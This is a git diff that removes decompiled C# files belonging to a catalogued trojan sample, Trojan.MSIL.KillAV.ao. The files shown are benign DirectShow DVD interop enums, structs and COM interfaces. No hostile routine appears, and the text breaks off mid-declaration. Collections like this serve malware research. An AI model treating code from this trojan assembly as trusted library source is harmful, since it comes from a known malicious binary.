+0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdStreamFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdStreamFlags - { - None = 0, - Video = 1, - Audio = 2, - SubPic = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs deleted file mode 100644 index 9e9f5fa0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdSubPicAttr - { - public DvdSubPicType type; - public DvdSubPicCoding coding; - public int language; - public DvdSubPicLangExt languageExt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs deleted file mode 100644 index 5a2ed75e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicCoding -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicCoding - { - RunLength, - Extended, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs deleted file mode 100644 index 84c91d06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicLangExt -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicLangExt - { - NotSpecified = 0, - CaptionNormal = 1, - CaptionBig = 2, - CaptionChildren = 3, - ClosedNormal = 5, - ClosedBig = 6, - ClosedChildren = 7, - Forced = 9, - DirectorCmtNormal = 13, // 0x0000000D - DirectorCmtBig = 14, // 0x0000000E - DirectorCmtChildren = 15, // 0x0000000F - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs deleted file mode 100644 index a77f24c5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicType - { - NotSpecified, - Language, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs deleted file mode 100644 index 2f9e1bdf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTimeCode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTimeCode - { - public byte bHours; - public byte bMinutes; - public byte bSeconds; - public byte bFrames; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs deleted file mode 100644 index 6a70426b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAppMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdTitleAppMode - { - NotSpecified = 0, - Karaoke = 1, - Other = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs deleted file mode 100644 index e94c566f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTitleAttr - { - public DvdTitleAppMode appMode; - public DvdVideoAttr videoAt; - public int numberOfAudioStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs deleted file mode 100644 index ca564fee..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdVideoAttr - { - public bool panscanPermitted; - public bool letterboxPermitted; - public int aspectX; - public int aspectY; - public int frameRate; - public int frameHeight; - public DvdVideoCompress compression; - public bool line21Field1InGOP; - public bool line21Field2InGOP; - public int sourceResolutionX; - public int sourceResolutionY; - public bool isSourceLetterboxed; - public bool isFilmMode; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs deleted file mode 100644 index 56bde9a7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoCompress -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdVideoCompress - { - Other, - Mpeg1, - Mpeg2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs deleted file mode 100644 index 80b208d6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdCmd -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("5a4a97e4-94ee-4a55-9751-74b5643aa27d")] - [ComImport] - public interface IDvdCmd - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForStart(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForEnd(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs deleted file mode 100644 index 422d74b7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdControl2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("33BC7430-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdControl2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayTitle(int ulTitle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapterInTitle(int ulTitle, int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTimeInTitle( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReturnFromSubmenu(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTime([In] ref DvdTimeCode pTime, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapter(int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPrevChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReplayChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayNextChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayForwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayBackwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowMenu(DvdMenuID MenuID, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Resume(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectRelativeButton(DvdRelButton buttonDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateButton(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAndActivateButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StillOff(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause([MarshalAs(UnmanagedType.Bool), In] bool bState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAudioStream(int ulAudio, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectSubpictureStream(int ulSubPicture, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSubpictureState([MarshalAs(UnmanagedType.Bool), In] bool bState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAngle(int ulAngle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalLevel(int ulParentalLevel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalCountry(byte[] bCountry); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectKaraokeAudioPresentationMode(int ulMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectVideoModePreference(int ulPreferredDisplayMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDVDDirectory([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChaptersAutoStop( - int ulTitle, - int ulChapter, - int ulChaptersToPlay, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AcceptParentalLevelChange([MarshalAs(UnmanagedType.Bool), In] bool bAccept); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOption(DvdOptionFlag flag, [MarshalAs(UnmanagedType.Bool), In] bool fState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetState(IDvdState pState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPeriodInTitleAutoStop( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - [In] ref DvdTimeCode pEndTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetGPRM(int ulIndex, short wValue, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultMenuLanguage(int Language); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultAudioLanguage(int Language, DvdAudioLangExt audioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultSubpictureLanguage(int Language, DvdSubPicLangExt subpictureExtension); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs deleted file mode 100644 index 05292833..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdGraphBuilder -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("FCC152B6-F372-11d0-8E00-00C04FD7C08B")] - [ComImport] - public interface IDvdGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppGB); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDvdInterface([In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppvIF); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderDvdVideoVolume( - [MarshalAs(UnmanagedType.LPWStr), In] string lpcwszPathName, - DvdGraphFlags dwFlags, - out DvdRenderStatus pStatus); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs deleted file mode 100644 index fb9da469..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs +++ /dev/null @@ -1,159 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdInfo2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("34151510-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdInfo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentDomain(out DvdDomain pDomain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentLocation(out DvdPlayLocation pLocation); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTotalTitleTime(out DvdTimeCode pTotalTime, out int ulTimeCodeFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentButton(out int pulButtonsAvailable, out int pulCurrentButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAngle(out int pulAnglesAvailable, out int pulCurrentAngle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAudio(out int pulStreamsAvailable, out int pulCurrentStream); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSubpicture( - out int pulStreamsAvailable, - out int pulCurrentStream, - [MarshalAs(UnmanagedType.Bool)] out bool pbIsDisabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentUOPS(out int pulUOPs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllSPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllGPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleAttributes(int ulTitle, out DvdMenuAttr pMenu, IntPtr pTitle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVMGAttributes(out DvdMenuAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentVideoAttributes(out DvdVideoAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioAttributes(int ulStream, out DvdAudioAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetKaraokeAttributes(int ulStream, IntPtr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureAttributes(int ulStream, out DvdSubPicAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDVolumeInfo( - out int pulNumOfVolumes, - out int pulVolume, - out DvdDiscSide pSide, - out int pulNumOfTitles); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextNumberOfLanguages(out int pulNumOfLangs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextLanguageInfo( - int ulLangIndex, - out int pulNumOfStrings, - out int pLangCode, - out DvdCharSet pbCharacterSet); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsNative( - int ulLangIndex, - int ulStringIndex, - IntPtr pbBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsUnicode( - int ulLangIndex, - int ulStringIndex, - IntPtr pchwBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPlayerParentalLevel(out int pulParentalLevel, [Out] byte[] pbCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfChapters(int ulTitle, out int pulNumOfChapters); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleParentalLevels(int ulTitle, out int pulParentalLevels); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDDirectory(IntPtr pszwPath, int ulMaxSize, out int pulActualSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsAudioStreamEnabled(int ulStreamNum, [MarshalAs(UnmanagedType.Bool)] out bool pbEnabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDiscID([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath, out long pullDiscID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(out IDvdState pStateData); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMenuLanguages([Out] int[] pLanguages, int 